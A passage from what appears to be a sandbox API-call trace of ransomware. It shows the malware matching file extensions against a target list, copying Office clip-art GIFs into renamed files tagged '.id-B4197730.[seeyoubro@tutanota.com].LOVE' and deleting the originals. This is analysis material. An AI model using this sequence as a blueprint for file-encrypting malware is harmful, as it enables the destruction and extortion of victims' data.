lpString2="_.GIF") returned -1 [0206.095] lstrlenW (lpString=".ppt") returned 4 [0206.095] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.095] lstrlenW (lpString=".zip") returned 4 [0206.095] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.096] lstrlenW (lpString=".rar") returned 4 [0206.096] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.096] lstrlenW (lpString=".bz2") returned 4 [0206.096] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.096] lstrlenW (lpString=".7z") returned 3 [0206.096] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.096] lstrlenW (lpString=".dbf") returned 4 [0206.096] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.096] lstrlenW (lpString=".1cd") returned 4 [0206.096] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0206.096] lstrlenW (lpString=".jpg") returned 4 [0206.096] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.096] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.096] lstrlenW (lpString="AG00038_.GIF") returned 12 [0206.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.096] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=3251) returned 1 [0206.096] CloseHandle (hObject=0x2d8) returned 1 [0206.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0206.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0206.097] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.097] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.097] GetLastError () returned 0x0 [0206.097] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0206.169] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0206.169] ReadFile (in: hFile=0x2d8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.169] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.170] SetEndOfFile (hFile=0x2f0) returned 1 [0206.170] CloseHandle (hObject=0x2f0) returned 1 [0206.170] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.171] SetEndOfFile (hFile=0x2d8) returned 1 [0206.171] CloseHandle (hObject=0x2d8) returned 1 [0206.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0206.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.172] lstrlenW (lpString=".doc") returned 4 [0206.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.172] lstrlenW (lpString=".docx") returned 5 [0206.172] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.172] lstrlenW (lpString=".pdf") returned 4 [0206.172] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.172] lstrlenW (lpString=".xls") returned 4 [0206.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.172] lstrlenW (lpString=".xlsx") returned 5 [0206.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.172] lstrlenW (lpString=".ppt") returned 4 [0206.172] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.172] lstrlenW (lpString=".zip") returned 4 [0206.172] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.172] lstrlenW (lpString=".rar") returned 4 [0206.172] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.172] lstrlenW (lpString=".bz2") returned 4 [0206.172] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.172] lstrlenW (lpString=".7z") returned 3 [0206.172] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.172] lstrlenW (lpString=".dbf") returned 4 [0206.172] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".1cd") returned 4 [0206.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".jpg") returned 4 [0206.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".doc") returned 4 [0206.173] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.173] lstrlenW (lpString=".docx") returned 5 [0206.173] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.173] lstrlenW (lpString=".pdf") returned 4 [0206.173] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.173] lstrlenW (lpString=".xls") returned 4 [0206.173] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.173] lstrlenW (lpString=".xlsx") returned 5 [0206.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.173] lstrlenW (lpString=".ppt") returned 4 [0206.173] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".zip") returned 4 [0206.173] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.173] lstrlenW (lpString=".rar") returned 4 [0206.173] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.173] lstrlenW (lpString=".bz2") returned 4 [0206.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.173] lstrlenW (lpString=".7z") returned 3 [0206.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".dbf") returned 4 [0206.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".1cd") returned 4 [0206.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0206.173] lstrlenW (lpString=".jpg") returned 4 [0206.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.174] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.174] lstrlenW (lpString="AG00052_.GIF") returned 12 [0206.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.180] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=7686) returned 1 [0206.180] CloseHandle (hObject=0x33c) returned 1 [0206.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220 [0206.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.180] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.180] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.181] GetLastError () returned 0x0 [0206.181] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1e06, lpOverlapped=0x0) returned 1 [0206.220] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1e10, lpOverlapped=0x0) returned 1 [0206.221] ReadFile (in: hFile=0x33c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.221] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.222] SetEndOfFile (hFile=0x31c) returned 1 [0206.222] CloseHandle (hObject=0x31c) returned 1 [0206.222] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.222] SetEndOfFile (hFile=0x33c) returned 1 [0206.223] CloseHandle (hObject=0x33c) returned 1 [0206.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0206.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.225] lstrlenW (lpString=".doc") returned 4 [0206.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.225] lstrlenW (lpString=".docx") returned 5 [0206.225] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.225] lstrlenW (lpString=".pdf") returned 4 [0206.225] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.225] lstrlenW (lpString=".xls") returned 4 [0206.225] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.226] lstrlenW (lpString=".xlsx") returned 5 [0206.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.226] lstrlenW (lpString=".ppt") returned 4 [0206.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.226] lstrlenW (lpString=".zip") returned 4 [0206.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.226] lstrlenW (lpString=".rar") returned 4 [0206.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.226] lstrlenW (lpString=".bz2") returned 4 [0206.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.226] lstrlenW (lpString=".7z") returned 3 [0206.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.226] lstrlenW (lpString=".dbf") returned 4 [0206.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.226] lstrlenW (lpString=".1cd") returned 4 [0206.226] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.226] lstrlenW (lpString=".jpg") returned 4 [0206.226] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.226] lstrlenW (lpString=".doc") returned 4 [0206.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.226] lstrlenW (lpString=".docx") returned 5 [0206.226] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.226] lstrlenW (lpString=".pdf") returned 4 [0206.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.226] lstrlenW (lpString=".xls") returned 4 [0206.227] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.227] lstrlenW (lpString=".xlsx") returned 5 [0206.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.227] lstrlenW (lpString=".ppt") returned 4 [0206.227] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.227] lstrlenW (lpString=".zip") returned 4 [0206.227] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.227] lstrlenW (lpString=".rar") returned 4 [0206.227] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.227] lstrlenW (lpString=".bz2") returned 4 [0206.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.227] lstrlenW (lpString=".7z") returned 3 [0206.227] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.227] lstrlenW (lpString=".dbf") returned 4 [0206.227] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.227] lstrlenW (lpString=".1cd") returned 4 [0206.227] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68 [0206.227] lstrlenW (lpString=".jpg") returned 4 [0206.227] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.227] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.227] lstrlenW (lpString="AG00092_.GIF") returned 12 [0206.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.228] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=502) returned 1 [0206.228] CloseHandle (hObject=0x33c) returned 1 [0206.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0206.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.229] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.229] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.233] GetLastError () returned 0x0 [0206.233] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0206.234] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x200, lpOverlapped=0x0) returned 1 [0206.234] ReadFile (in: hFile=0x31c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.234] WriteFile (in: hFile=0x330, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.236] SetEndOfFile (hFile=0x330) returned 1 [0206.242] CloseHandle (hObject=0x330) returned 1 [0206.242] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.242] SetEndOfFile (hFile=0x31c) returned 1 [0206.243] CloseHandle (hObject=0x31c) returned 1 [0206.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0206.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.258] lstrlenW (lpString=".doc") returned 4 [0206.258] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.258] lstrlenW (lpString=".docx") returned 5 [0206.258] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.258] lstrlenW (lpString=".pdf") returned 4 [0206.258] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.258] lstrlenW (lpString=".xls") returned 4 [0206.258] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.258] lstrlenW (lpString=".xlsx") returned 5 [0206.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.258] lstrlenW (lpString=".ppt") returned 4 [0206.258] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.258] lstrlenW (lpString=".zip") returned 4 [0206.258] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString=".rar") returned 4 [0206.259] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString=".bz2") returned 4 [0206.259] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.259] lstrlenW (lpString=".7z") returned 3 [0206.259] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.259] lstrlenW (lpString=".dbf") returned 4 [0206.259] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.259] lstrlenW (lpString=".1cd") returned 4 [0206.259] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.259] lstrlenW (lpString=".jpg") returned 4 [0206.259] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.259] lstrlenW (lpString=".doc") returned 4 [0206.259] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.259] lstrlenW (lpString=".docx") returned 5 [0206.259] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.259] lstrlenW (lpString=".pdf") returned 4 [0206.259] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString=".xls") returned 4 [0206.259] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString=".xlsx") returned 5 [0206.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.259] lstrlenW (lpString=".ppt") returned 4 [0206.259] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0206.259] lstrlenW 